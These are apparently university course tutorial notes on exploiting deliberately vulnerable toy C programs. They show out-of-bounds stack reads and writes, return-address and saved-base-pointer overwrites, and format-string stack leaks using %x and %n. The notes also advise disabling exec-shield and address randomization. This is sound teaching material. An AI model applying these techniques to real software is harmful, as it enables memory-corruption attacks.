Hacking Tutorial Notes

These are some notes about the material covered in the Fri. Nov. 10 and Sun. Nov. 12 hacking tutorials. These notes may help you with Problem 2 of PS5.

1 Stack Hacking

We will use the `hackme.c` program in figure 1 to illustrate manipulation of the run-time stack. Although this program is contrived, it will give us practice parsing the stack and changing values on the stack.

The "expected" use of the `hackme` program is to print values in the array `a`, which contains only three values: 5, 10, and 15. The `main` function prints the value of `process(a)`, which squares the result of `getelt(a)`. The `getelt` function always returns the value in `a[0]`, so the default behavior of the program is to display $5^2 = 25$:

```
[cs342@puma tutorial] gcc -o hackme print_stack.o hackme.c
[cs342@puma tutorial] hackme
Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack): r
***** ANS = 25 *****
```

However, `getelt` contains a mini-interpreter that allows reading and setting elements in the array `a`. The `g` option gets the value in ą at a specified index, and the `s` option sets the value in ą to be the value at the index used in the previous `g` or `s` command. Using `g` and `s`, we can display 10^2 and 15^2:

```
[cs342@puma tutorial] hackme
Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack): g
Enter an index: 1
getting a[1]: 10
Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack): s
Enter an index: 0
setting a[0] to 10
Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack): r
***** ANS = 100 *****

[cs342@puma tutorial] hackme
Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack): g
Enter an index: 2
getting a[2]: 15
Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack): s
Enter an index: 0
setting a[0] to 15
Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack): r
***** ANS = 225 *****
```

```
/* A program that hints at issues involving software exploits */
/* Compile this as: gcc -o hackme print_stack.o hackme.c */

int sq (int x) {
  return x*x;
}

int getelt (int* a) {
  char c;
  int i;
  int prev = 0;
  printf("Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack): ");
  scanf("%c", &c);
  while (c != 'r') {
    if (c == 'p') { /* print stack */
      print_stack();
    } else if ((c != 'g') && (c != 's')) {
      printf("unrecognized character '%c'\n", c);
    } else {
      printf("Enter an index: ");
      scanf("%i", &i);
      if (c == 'g') { /* get element at a[i] */
        printf("getting a[%i]: %i\n", i, a[i]);
      } else if (c == 's') {
        printf("setting a[%i] to %i\n", i, prev);
        a[i] = prev; /* set element at a[i] to previous value */
      }
      prev = a[i];
    }
    printf("Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack): ");
    scanf("\n%c", &c); /* \n consumes newline from index entry */
  }
  return a[0]; /* always returns a[0] */
}

int process (int* a) {
  return sq(getelt(a));
}

int main () {
  int a[3] = {5,10,15};
  printf("***** ANS = %i *****\n", process(a));
}
```

Figure 1: The contents of `hackme.c`.

Using out-of-bounds indices, we can use the `g` option to read arbitrary values on stack:

```
[cs342@puma tutorial] hackme
Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack): g
Enter an index: -1
getting a[-1]: 134515142
Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack): g
Enter an index: -73
getting a[-73]: 6836963
Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack): g
Enter an index: 3
getting a[3]: 6888120
Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack): g
Enter an index: 142
getting a[142]: 0
```

We could use the `g` option to read as much of the stack as we'd like, but it is cumbersome. To make reading the stack more convenient, the `p` option uses Lyn's `print_stack` utility to print the current stack. A sample stack displayed with the `p` option is shown in figures 2–3.[1] To illustrate certain features, the `hackme` program was called with command-line arguments `a bc def`. Since the sample stack is rather large, the less interesting parts have been replaced with ellipses (...).[2]

Here are a few things to notice about the stack layout:

- The displayed stack covers addresses in the range `bfffa568`–`bfffffc`. Although the particular addresses in the range may change from run to run due to stack randomization, addresses beginning with `bf` are typically stack addresses.
- Figure 2 shows the four stack frames associated with the execution of `hackme`:

  1. The frame with base address `bfffa588` is the frame for `getelt`;
  2. The frame with base address `bfffa5a8` is the frame for `process`;
  3. The frame with base address `bfffa5d8` is the frame for `main`;
  4. The frame with base address `bfffa638` is the frame for the operating system process that invokes the `main` function of the `hackme` program.

  Note that the frames are organized into a linked list by their bottom word, which stores the base address of the frame below it. The bottom word of the fourth frame (address `bfffa638`) contains `00000000`, indicating that it is the last frame in this list.
- The word directly below a frame the return address of the call that created the frame. By looking at the C code[3], we can determine that:
  - `08048954` corresponds to the point in `process` that will push the result of `getelt(a)` (stored in EAX) on the stack before calling `sq`.

[1] The `p` option prints the entire stack as shown when used on `puma`. But on the micro-focus machines, it encounters a segmentation fault, usually soon after displaying the environment array. This appears to be caused by an attempt by `print_stack` to read a lower address on the stack that is not permitted by the security settings. Setting both `/proc/sys/kernel/exec-shield` and `/proc/sys/kernel/randomize_va_space` to 0 (as root) appears to clear up the problem.

[2] The notation `~~~~~~~~: 00000000` that appears near the top of the stack is automatically introduced by `print_stack` to abbreviate a sequence of two or more addresses storing the zero word.

[3] We don't need to use `gdb`'s disassembling capalities to figure out the meaning of the return addresses.

```
[cs342@puma tutorial] hackme a bc def
Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack): p
---------------------------------TOP-OF-STACK--------------------------------
bfffa568: bfffa588
bfffa56c: 08048857
bfffa570: 00000000
~~~~~~~~: 00000000
bfffa580: 00000000
bfffa580: 0177ff8e
bfffa584: 70ffa610
bfffa588: bfffa5a8
------------------
bfffa58c: 08048954
bfffa590: bfffa5c0
bfffa594: 00c3814c
bfffa598: 00f77d90
bfffa59c: 00000000
bfffa5a0: 00d62f98
bfffa5a4: 08049d84
bfffa5a8: bfffa5d8
------------------
bfffa5ac: 08048996
bfffa5b0: bfffa5c0
bfffa5b4: 00000000
bfffa5b8: bfffa5d8
bfffa5bc: 080489c6
bfffa5c0: 00000005
bfffa5c4: 0000000a [^@^@^@
]
bfffa5c8: 0000000f
bfffa5cc: 00d62ab8
bfffa5d0: 00f77020
bfffa5d4: 080489ac
bfffa5d8: bfffa638 ->
------------------
bfffa5dc: 00c4279a
bfffa5e0: 00000004
bfffa5e4: bfffa664
bfffa5e8: bfffa678
bfffa5ec: 00000000
bfffa5f0: 00d62ab8
bfffa5f4: 00f77020
bfffa5f8: 080489ac
bfffa5fc: bfffa638 ->
bfffa600: bfffa5e0
bfffa604: 00c4275c
bfffa608: 00000000
bfffa614: 00f77518
bfffa618: 00000004
bfffa61c: 080482cc
bfffa620: 00000000
bfffa624: 00f6e330
bfffa628: 00c426cd
bfffa62c: 00f77518
bfffa630: 00000004
bfffa634: 080482cc
bfffa638: 00000000
------------------
```

Figure 2: A sample stack displayed by the `p` option for `hackme a bc def`, part 1.

```
bfffa63c: 080482ed
bfffa640: 08048962
bfffa644: 00000004
bfffa648: bfffa664
bfffa64c: 080489ac
bfffa650: 080489f4
bfffa654: 00f6ecc0
bfffa658: bfffa65c
bfffa65c: 00f75133
bfffa660: 00000004
bfffa664: bffff7dd ->hackme
bfffa668: bffff7e4 ->a
bfffa66c: bffff7e6 ->bc
bfffa670: bffff7e9 ->def
bfffa674: 00000000
bfffa678: bffff7ed ->BIBINPUTS=:/home/fturbak/church/lib/bibtex
bfffa67c: bffff818 ->DVIPSHEADERS=.:/usr/share/texmf/dvips//:/home/fturbak/lib/tex/psfonts/cmpsfont/
pfb:/home/fturbak/lib/tex/amspsfnt/pfb:/home/fturbak/church/lib/tex//
...
bfffa708: bffffe8 ->_=./hackme
bfffa70c: 00000000
...
bffff7dc: 63616800 [cah^@]
bffff7e0: 00656d6b [^@emk]
bffff7e4: 63620061 [cb^@a]
bffff7e8: 66656400 [fed^@]
bffff7ec: 42494200 [BIB^@]
bffff7f0: 55504e49 [UPNI]
bffff7f4: 3a3d5354 [:=ST]
bffff7f8: 6d6f682f [moh/]
bffff7fc: 74662f65 [tf/e]
bffff800: 61627275 [abru]
bffff804: 68632f6b [hc/k]
bffff808: 68637275 [hcru]
bffff80c: 62696c2f [bil/]
bffff810: 6269622f [bib/]
bffff814: 00786574 [^@xet]
bffff818: 50495644 [PIVD]
bffff81c: 41454853 [AEHS]
bffff820: 53524544 [SRED]
bffff824: 2f3a2e3d [/:.=]
...
bffffe8: 2f2e3d5f [/.=_]
bfffffec: 6b636168 [kcah]
bffffff0: 2e00656d [.^@em]
bffffff4: 6361682f [cah/]
bffffff8: 00656d6b [^@emk]
bffffffc: 00000000
--------------------------------BOTTOM-OF-STACK--------------------------------
Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack):
```

Figure 3: A sample stack displayed by the `p` option for `hackme a bc def`, part 2.

- `08048996` corresponds to the point in `main` that will push the result of `process(a)` (stored in EAX) on the stack before pushing the format string `"***** ANS = %i *****\n"` and calling `printf`.
- `00c4279a` corresponds to the point in the operating system code that invoked `main` and is waiting for it to return.

Note that the addresses for user code begin with `0804`, which is typical in the programs you will see.

- The `print_stack` program automatically puts dotted lines at the bottom of each frame. But you could insert the dotted lines yourself by looking for transitions between stack addresses (`bf...`) and user code addresses (`0804...`). Not all such transitions correspond to frame boundaries (e.g., there no frame boundary at `bfffa568`[4] or `bfffa5b8` in our example) but once the first "real" frame boundary is found at the top of the stack, the linked list structure of frames can be used to find the rest.

- The array `a`, which contains values 5, 10, and 15 (in hex, `05`, `0a`, and `0f`) is at address `bfffa5c0`. Since `a` is an argument to both `process` and `getelt`, this address appears right below the return addresses for the top two frames.

- The arguments to `main` appear below the return address of the third frame. Even though `main` was not declared with any arguments in `hackme.c`, it *always* takes two arguments:

  1. *The argument count* (usually called `argc`) is the number of whitespace-delimited strings on the command line. In `hackme a bc def`, there are four such strings (`"hackme"`, `"a"`, `"bc"`, and `"def"`), so the argument count is 4 in this case. It is stored at address `bfffa5e0`.
  2. *The argument vector* (usually called `argv`) is the address of a null-terminated array of of the strings on the command line. In this case, the array address is `bfffa664`, which is stored at address `bfffa5e4`. In figure 3, we see that this address is the beginning of the following null-terminated array:

     ```
     bfffa664: bffff7dd ->hackme
     bfffa668: bffff7e4 ->a
     bfffa66c: bffff7e6 ->bc
     bfffa670: bffff7e9 ->def
     bfffa674: 00000000
     ```

     The notation *address* `->`*string* indicates that the characters of the string *string* are stored at address *address*. Indeed, we can verify this in figure 3 by looking further down the stack. For instance, the word at address `bffff7dc` contains the characters `cah^@` (where `^@` is the null character) stored in little endian order. So the byte at byte address `bffff7dc` is `^@`, the byte at `bffff7dd` is `h`, the byte at `bffff7de` is `a`, and the byte at `bffff7df` is `c`.

- The stack below the bottommost frame also stores the shell environment, which is represented as a null-terminated array of strings of the form *name*`=`*value*, and the strings in this array. For example, the first shell environment entry, `BIBINPUTS=:/home/fturbak/church/lib/bibtex` is the string pointer `bffff7ed` stored at address `bfffa678`. You should verify that all the characters of this string can indeed be found at address `bffff7ed`.

[4] Actually, the boundary between `bfffa588` and `08048857` at address `bfffa568` *is* a frame boundary for the call to `print_stack` itself, and `bfffa588` is the address of the base of the first "real" frame.

Returning to the big picture, it should now be apparent that we can easily get the answer of the `hackme` program to be the square of any number that can be found on the stack. For instance, since `00000000` appears at address `bfffa5b4`, which is 3 words before the base address `bfffa5c0` of the array `a`, we can get `hackme` to return $0^2 = 0$ as follows:

```
Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack): g
Enter an index: -3
getting a[-3]: 0
Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack): s
Enter an index: 0
setting a[0] to 0
Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack): r
***** ANS = 0 *****
[cs342@puma tutorial]
```

And since `00000004` appears at address `bfffa5e0`, which is 8 words after the base address `a`, we can get `hackme` to return $0^4 = 16$ as follows:

```
[cs342@puma tutorial] hackme a bc def
Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack): g
Enter an index: 8
getting a[8]: 4
Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack): s
Enter an index: 0
setting a[0] to 4
Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack): r
***** ANS = 16 *****
```

Using the stack offset 8, we should be able to have the answer to be the square of any positive integer n by passing $n - 1$ command-line arguments to `hackme`. It would be tedious to type these in by hand, so we can use the trick of backquoting an appropriate Perl expression. For example, here's how to return the square of 1234:

```
[cs342@puma tutorial] hackme `perl -e 'print "a "x1233;'`
Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack): g
Enter an index: 8
getting a[8]: 1234
Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack): s
Enter an index: 0
setting a[0] to 1234
Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack): r
***** ANS = 1522756 *****
```

In this example, `perl -e 'print "a "x1233;'` creates a string of 1233 copies of `"a "` and splices this string between the backquotes in `hackme `...` ` before invoking `hackme`. So the `hackme` program "sees" 1233 arguments, and the argument vector for its `main` function has 1234 elements.

So now we can force `hackme`'s answer to be the *square* of any positive integer. But if we're more clever, we can force its answer to be *any* integer. How?

The first thing we need to do is bypass the squaring operation. We can do this by changing the return address of the first frame to be the same as the return address of the second frame. Recall that the return address of the second frame (`08048996`) corresponds to the part of `main` that is waiting to

print the answer. If we can trick the `getelt` frame into returning to this addresss, then the result of `getelt` will be printed as the answer to `main` without squaring it!.

How can we do this? Observe that the return address we want is 5 words before the base of `a`, and the return address we want to overwrite is 13 words before the based of `a`. Here's our first attempt at using this strategy to display 5 as the answer:

```
[cs342@puma tutorial] hackme
Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack): g
Enter an index: -5
getting a[-5]: 134515094
Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack): s
Enter an index: -13
setting a[-13] to 134515094
Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack): r
***** ANS = 5 *****
***** ANS = 20 *****
[cs342@puma tutorial]
```

That's weird! The program *did* display 5 as the answer. But it also displayed 20 as the answer. Why is that? Although `getelt` now returns directly to the modified return address `08048996` in `main`, the popping of stack frames has not changed, and so the `process` frame is at the top of the stack when `main` returns to the operating system. This causes control to return to the return address below the `process` frame, which is also `08048996`. This invokes the printing code in `main` a second time! This code will display whatever happens to be in the EAX register. It turns out that the EAX register was most recently changed by the call to `printf` for `***** ANS = 5 *****`. In addition to printing, the `printf` function returns the number of characters printed — 20 in this case. Since EAX holds the number 20, the second return to `08048996` prints out 20.

We can verify this behavior by displaying a larger number, such as 1234, as an answer. This has 3 more character than 5, so we expect the second answer to be 23 rather than 20:

```
[cs342@puma tutorial] hackme `perl -e 'print "a "x1233;'`
Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack): g
Enter an index: -5
getting a[-5]: 134515094
Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack): s
Enter an index: -13
setting a[-13] to 134515094
Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack): g
Enter an index: 8
getting a[8]: 1234
Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack): s
Enter an index: 0
setting a[0] to 1234
Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack): r
***** ANS = 1234 *****
***** ANS = 23 *****
```

We can prevent the second answer from printing by additionally changing the saved base pointer of the first frame to be that of the second frame. That way, leaving the first frame will pop the top *two* frames, and the printing code for `main` will execute with the frame for `main` at the top of the stack. Since the relevant return addresses are at offsets -5 and -13, the relevant base pointers are at offsets -6 and -14. Armed with this knowledge, we can now force 1234 to be the sole answer:

```
[cs342@puma tutorial] hackme ‘perl -e ’print "a "x1233;’‘
Enter a character (’r’ = return; ’g’ = get; ’s’ = set; ’p’ = print stack): g
Enter an index: -5
getting a[-5]: 134515094
Enter a character (’r’ = return; ’g’ = get; ’s’ = set; ’p’ = print stack): s
Enter an index: -13
setting a[-13] to 134515094
Enter a character (’r’ = return; ’g’ = get; ’s’ = set; ’p’ = print stack): g
Enter an index: -6
getting a[-6]: -1073770456
Enter a character (’r’ = return; ’g’ = get; ’s’ = set; ’p’ = print stack): s
Enter an index: -14
setting a[-14] to -1073770456
Enter a character (’r’ = return; ’g’ = get; ’s’ = set; ’p’ = print stack): g
Enter an index: 8
getting a[8]: 1234
Enter a character (’r’ = return; ’g’ = get; ’s’ = set; ’p’ = print stack): s
Enter an index: 0
setting a[0] to 1234
Enter a character (’r’ = return; ’g’ = get; ’s’ = set; ’p’ = print stack): r
***** ANS = 1234 *****
```

We now know enough to force any positive integer to be an answer. Since there are null words on the stack, we can force zero to be an answer as well.

Can we force a negative integer to be an answer? In the standard two's complement representation for a 32-bit number, a negative integer is one whose most significant bit is 1. So for any 31-bit integer n, $-n$ has the same bit representation as the unsigned 32-bit integer $2^{31}-n$. Since 2^{31} is 2147483648, -1 has the same bit representation as 2147483647 (0xffffffff), -2 has the same bit representation as 2147483646 (0xfffffe), and so on.

How can we get `hackme` to yield -1 as an answer? One approach is to pass 2147483646 arguments to `hackme`, but this is impractical. A more practical approach is to somehow store 0xffffffff on the stack and then stuff this into `a[0]`. As shown in figure 4, we do this by taking advantage of Perl's ability to print characters specified in hex.[5] We use Perl to construct a string of seven 0xff characters, which end up being stored at address `bfffe7c9`. We chose seven characters rather than four because we didn't know how they would be aligned, and out of seven characters, four are guaranteed to be aligned at a word boundary (in this case, `bfffe7cc`). Now we need to calculate the distance in words from the array base, `bfffe5d0`, to the address `bfffe7cc` of the desired word: 0x7cc - 0x5d0 = 0x1fc = 508 bytes = 127 words. So we're ready to rock:

```
Enter a character (’r’ = return; ’g’ = get; ’s’ = set; ’p’ = print stack): g
Enter an index: 127
getting a[127]: -1
Enter a character (’r’ = return; ’g’ = get; ’s’ = set; ’p’ = print stack): s
Enter an index: 0
setting a[0] to -1
Enter a character (’r’ = return; ’g’ = get; ’s’ = set; ’p’ = print stack): g
Enter an index: -5
getting a[-5]: 134515094
Enter a character (’r’ = return; ’g’ = get; ’s’ = set; ’p’ = print stack): s
```

[5]For reasons I don't understand, this example does *not* work on `puma`, but does work on the microfocus machines, such as `jay`. Perhaps it has to do with the version of Perl? On `puma`, `perl --version` indicates 5.8.0, while on `jay` it's 5.8.6.

```
[cs342@jay overflow] hackme `perl -e 'print "\xff\xff\xff\xff\xff\xff\xff";'`
Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack): p
---------------------------------TOP-OF-STACK--------------------------------
bfffe578: bfffe598
bfffe57c: 08048857
bfffe580: 00000000
bfffe588: 0177ff8e
bfffe58c: 00000000
bfffe594: 70000000 [p^@^@^@]
bfffe598: bfffe5b8
------------------
bfffe59c: 08048954
bfffe5a0: bfffe5d0
bfffe5a4: 00000000
bfffe5a8: bfffe7c2 ->hackme
bfffe5ac: 0047fdd6
bfffe5b0: 00544368 [^@TCh]
bfffe5b4: 08049d84
bfffe5b8: bfffe5e8
------------------
bfffe5bc: 08048996
bfffe5c0: bfffe5d0
bfffe5c4: 00544360 [^@TC`]
bfffe5c8: bfffe5e8
bfffe5cc: 080489c6
bfffe5d0: 00000005
bfffe5d4: 0000000a [^@^@^@
]
bfffe5d8: 0000000f
bfffe5dc: 00542ff4
bfffe5e0: 0041aca0
bfffe5e4: 080489ac
bfffe5e8: bfffe648 ->
------------------
bfffe5ec: 00432d7f [^@C-^?]
bfffe5f0: 00000002
bfffe5f4: bfffe674
...
bfffe674: bfffe7c2 ->hackme
bfffe678: bfffe7c9
bfffe67c: 00000000
...
bfffe7c0: 61680000 [ah^@^@]
bfffe7c4: 656d6b63 [emkc]
bfffe7c8: ffffff00
bfffe7cc: ffffffff
bfffe7d0: 42494200 [BIB^@]
bfffe7d4: 55504e49 [UPNI]
bfffe7d8: 3a3d5354 [:=ST]
bfffe7dc: 6d6f682f [moh/]
...
--------------------------------BOTTOM-OF-STACK-------------------------------
```

Figure 4: Injecting the bits for -1 on the stack.

```
Enter an index: -13
setting a[-13] to 134515094
Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack): g
Enter an index: -6
getting a[-6]: -1073748504
Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack): s
Enter an index: -14
setting a[-14] to -1073748504
Enter a character ('r' = return; 'g' = get; 's' = set; 'p' = print stack): r
***** ANS = -1 *****
[cs342@jay overflow]
```

The same technique can be used to construct most 32-bit quantities. However, there is a snag when some of the bytes are null bytes, since a null byte ends a command-line string. It is possible to work around this difficulty by using multiple arguments. For example, to create the word 0xff0000ff, we can use the following:

```
[cs342@jay overflow] hackme `perl -e 'print "\xff";'` "" `perl -e 'print "\xff";'` ""
`perl -e 'print "\xff";'` "" `perl -e 'print "\xff";'` "" `perl -e 'print "\xff";'`
```

In many ways, the `hackme` program is unrealistic. In practice, it is unlikely that a programmer would make it so easy to inspect and change slots in stack memory. However, much of what we learned by using the `g` and `p` options to *inspect* the stack (such as the offsets of return addresses and saved base pointers from the base of the array `a`) could be determined by reading the assembly code from the binary, which is always possible using the `disassemble` feature of `gdb`. On the other hand, in order for us to be able to *change* the stack, the programmer must include something like a buffer overflow vulnerability in the code.

2 Fun with `printf`

Here we will learn that a certain `printf` vulnerability can be used not only to inspect the stack but, remarkably, to change it as well.

Recall that `printf` is a function that takes a variable number of arguments. The first should be a format string, which, in addition to plain text, may contain any number n of format specifiers, which are treated as holes in the plain text. The remaining arguments are expected to be n values whose printed representations, as determined by the corresponding specifiers, will fill corresponding holes. Here are some of the format specifiers:

Specifier	Meaning
`%d`, `%i`	displays word as a signed integer in decimal
`%u`	displays word as an unsigned integer in decimal
`%x`	displays word as an unsigned integer in hexadecimal
`%f`	displays double word as a floating point number
`%c`	displays byte as a character
`%s`	displays string (null-terminated character sequence) pointed at by a character pointer
`%n`	stores the number of bytes displayed so far in the integer pointed at by an address word

Although `printf` does not "know" how many arguments it takes, it can rely on the same aspects of the procedure calling convention used by all C functions to find their arguments: The ith argument (1-indexed) is at an offset $4 \cdot (i + 1)$ bytes from the base of the `printf` frame. So the first argument (the format string) is 8 bytes from the base of the `printf` frame, the second argument is 12 bytes from the base, and so on. Understanding this is important for abusing `printf`.

We will experiment with `printf` using the program `test-printf.c` in figure 5.This program expects

```
/* A program that illustrates some printf vulnerabilities.
   Compile this as: gcc -o test-printf test-printf.c */

int test (char* fmt, int a, int b, int* c, char* d) {
  printf("   With values: ");
  printf(fmt, a, b, c, d);
  printf("\nWithout values: ");
  printf(fmt);
  printf("\n");
}

int main (int argc, char** argv) {
  int n = 42;
  test(argv[1], n, -n, &n, "xyz");
}
```

Figure 5: The contents of `test-printf.c`.

`argv[1]` to be a format string. It passes the format string and various parameters to the `test` function. The `test` function uses the format string both in the "expected" way (with explicit argument values for the specifiers) and in an "unexpected" way (without any explicit argument values, in which case values are taken from the stack).

Here's a simple example of `test-printf` in action:

```
[cs342@puma overflow] gcc -o test-printf test-printf.c
[cs342@puma overflow] test-printf "a=%i; b=%u; c=%x; d=%s;"
   With values: a=42; b=4294967254; c=bfffa124; d=xyz;
Without values: a=4796748; b=12877200; c=0; d=^D;
```

In the first line, `a` is displayed as an integer, the bits of `b` = -42 are displayed as an unsigned integer ($4294967254 = 2^{32} - 42$), the address in `c` is displayed in hex, and the string `xyz` in `d` is displayed as expected. In the second line, no explicit values are provided for the four arguments, so these are taken from the stack. We are lucky that the fourth value on the stack is a valid address to bits interpretable as the string `"^D"`; an invalid address (e.g., to an unreadable segment) would cause a segmentation fault.

In a format specifier, an optional number n can be provided between the `%` and the specifier character (e.g., `i`, `u`, etc.). This indicates the desired width of a field in which the displayed value will be right-justified.[6] For example, `%10i` allocates 10 characters for an integer. If n begins with a `0` digit, then leading spaces will be replaced by `0`. We can test this with `test-printf`:

```
[cs342@puma overflow] test-printf "a=%10i; b=%12u; c=%08x; d=%5s;"
   With values: a=        42; b=  4294967254; c=bfffb514; d=  xyz;
Without values: a=   6857036; b=     8215952; c=00000000; d=    ^D;
```

[6] If the displayed value will take more than the specified number n of characters, the entire value will be displayed. So n is a lower bound on the number of characters.

(Because of stack randomization, some of the implicit stack values for this invocation are different than in the previous invocation.) In practice, field widths in format specifiers are used to line up data in columns, but we will use them for more insidious purposes in section 3.

Normally, a format specifier refers to the "next" argument in the argument sequence. But starting a specifier with `%`*j*`$` refers to the *j*th argument (1-indexed) in the argument sequence. This notation can be combined with the field-width notation:

```
[cs342@puma overflow] test-printf "a=%3\$15i; b=%1\$12u; c=%2\$08x; d=%4\$5s;"
   With values: a=    -1073763196; b=          42; c=ffffffd6; d=  xyz;
Without values: a=              0; b=     1163596; c=009fcd90; d=    ^D;
```

What would be written as `%3$15i` in C must be written as `%3\$15i` on the Linux command line; in the shell, the `$` is a special character that must be escaped with a backslash. As illustrated by the following example, specifiers with an explicit argument index do not alter the index used for indexless specifiers:

```
[cs342@puma overflow] test-printf "a=%3\$i (%i); b=%1\$u (%u); c=%2\$x (%x); d=%4\$5s (%s);"
   With values: a=-1073771804 (42); b=42 (4294967254); c=ffffffd6 (bfff8ae4); d=  xyz (xyz);
Without values: a=0 (14278988); b=14278988 (16182672); c=f6ed90 (0); d=    ^D (^D);
```

The `%n` specifier is unusual in that it doesn't display anything. Instead, it writes the number of bytes displayed so far by this `printf` into the word pointed at by the corresponding value, which should be a pointer to an integer. For example, suppose that the following is the contents of the program `test-nspec.c`:

```
int main () {
  int x, y, z;
  printf("a=%i; %nb=%5i; %nc=%10i;%n\n", 1, &x, 20, &y, 300, &z);
  printf("x=%i; y=%i; z=%i;\n", x, y, z);
}
```

The first `%n` writes the number of bytes in `"a=1; "` (i.e., 5) into the variable `x` (which is pointed at by the address `&x`). The second `%n` takes the number of bytes in `"b= 20; "` (i.e., 9), adds this to the previous number of bytes (5) and stores the sum (14) in `y`. The third `%n` takes the number of bytes in `"c= 300;"` (i.e., 13), adds this to the previous number of bytes (14) and stores the sum (27) in `z`. We verify this by executing `test-nspec`:

```
[cs342@puma overflow] gcc -o test-nspec test-nspec.c
[cs342@puma overflow] test-nspec
a=1; b=   20; c=       300;
x=5; y=14; z=27;
```

Presumably, the `%n` specifier is for situations in which an unknown number of characters may be printed, but knowing that number is helpful for formatting (e.g., for lining things up in columns).

None of the format specifiers are dangerous if `printf` is used as it is supposed to be used — i.e., when a format string with n format specifiers is followed by n arguments.

The fun begins when lazy programmers who don't know better write something like `printf(str)` instead of `printf("%s", str)`. These behave the same as long as `str` points to a string that does not contain format specifiers. But suppose `str` is the string `"%i %i %i"`. Then `printf("%s", str)` will display `%i %i %i`, but `printf(str)` will display the top three elements on the stack as integers. If we can control the contents of the string `str`, we can use `printf(str)` to display as much of the stack as we'd like. Even more sneaky, we can use the `%n` specifier to change slots on the stack! We will see both of these exploits in the next section.

```
/* A program that hints at issues involving software exploits */
/* Compile this as: gcc -o hackme2 hackme2.c */

char* prompt = "index> ";

int sq (int x) {
  return x*x;
}

int getelt (int* a) {
  int n;
  int* n_ptr = &n;
  printf(prompt);
  scanf("%i", n_ptr);
  return a[n];
}

int process (int* a) {
  return sq(getelt(a));
}

int main (int argn, char* argv[]) {
  int a[3] = {5,10,15};
  if (argn >= 2)
    prompt = argv[1];
  printf("***** ANS = %i *****\n", process(a));
}
```

Figure 6: The contents of `hackme2.c`.

3 Stack Hacking Revisited

Figure 6 presents a program `hackme2.c` that is similar to the `hackme` program from section 1 in that it squares an element of an array `a`. However, in `hackme2.c`, the index of the element is entered directly by the user using `scanf`.[7] The string in the `prompt` variable is displayed as a prompt for reading the integer index; this is `"index> "` by default, but can be overwritten at the command line by supplying `argv[1]`. The fact that the prompt is displayed via `printf(prompt)` rather than `printf("%s", prompt)` allows the wily hacker to display and change slots on the stack.

First, let's see how `hackme2` is intended to be used:[8]

```
[cs342@jay tutorial] hackme2
index> 0
***** ANS = 25 *****
[cs342@jay tutorial] hackme2
index> 1
***** ANS = 100 *****
[cs342@jay tutorial] hackme2
index> 2
```

[7] `scanf` is the "cousin" of `printf` that is used for reading input from the console. For example, `scanf("%i", n_ptr);` reads an integer from the console and stores it into the integer variable pointed at by the address in `n_ptr`.

[8] All examples in this section are executed on micro-focus machine `jay`, on which both stack randomization and Exec Shield have been turned off.

```
***** ANS = 225 *****
[cs342@jay tutorial] hackme2
index> 3
***** ANS = -2075270080 *****
```

Supplying an index outside the bounds of the array results in squaring the value in stack that happens to follow the array. In this case, the result of the squaring has its most significant bit set, and so is interpreted as being negative.

We can of course supply an innocuous string to replace the default prompt:

```
[cs342@jay tutorial] hackme2 "foobar: "
foobar: 1
***** ANS = 100 *****
```

However, it's much more fun to replace the default prompt with something more interesting. For example, we can display the top four elements on the stack as our prompt:

```
[cs342@jay tutorial] hackme2 "%08x %08x %08x %08x: "
00000000 00000000 00000000 bfffac14: 2
***** ANS = 225 *****
```

We can use our old friend Perl to construct a string that displays more of the stack:

```
[cs342@jay tutorial] hackme2 "‘perl -e 'print "%08x %08x %08x %08x\n"x10 . ">"';‘"
00000000 0177ff8e 00000000 bfffe4b4
00000000 bfffe4d8 080483d7 bfffe4f0
00000000 bfffe6ea 0047fdd6 00544368
08049628 bfffe508 0804842c bfffe4f0
00544360 bfffe508 0804845a 00000005
0000000a 0000000f 00542ff4 0041aca0
08048440 bfffe568 00432d7f 00000002
bfffe594 bfffe5a0 bfffe550 0040d898
0041b878 b7fff690 00000001 00542ff4
0041aca0 08048440 bfffe568 bfffe510
>8
***** ANS = 4 *****
```

There are enough quotation marks in this example to drive you bananas. But they're all neccessary, particularly the outermost pair of double-quotes. Without this outermost pair, the string printed by Perl (which contains spaces) would be treated as multiple command-line arguments rather than a single command-line argument.

In this above example, we spotted the `00000005` that starts the array `a` and note that the `argc` argument to `main` (`00000002`) is 8 words later. So entering the index 8 squares 2.

Now that we know `argc` is at an offset of 8 words from the base of `a`, we can use `hackme2` to print the square of any positive number n by supplying $n-1$ arguments to `hackem2`. Of course, Perl is useful here as well. For example, we can square 1000 as follows:

```
[cs342@jay tutorial] hackme2 ‘perl -e 'print "> "x999;'‘
>8
***** ANS = 1000000 *****
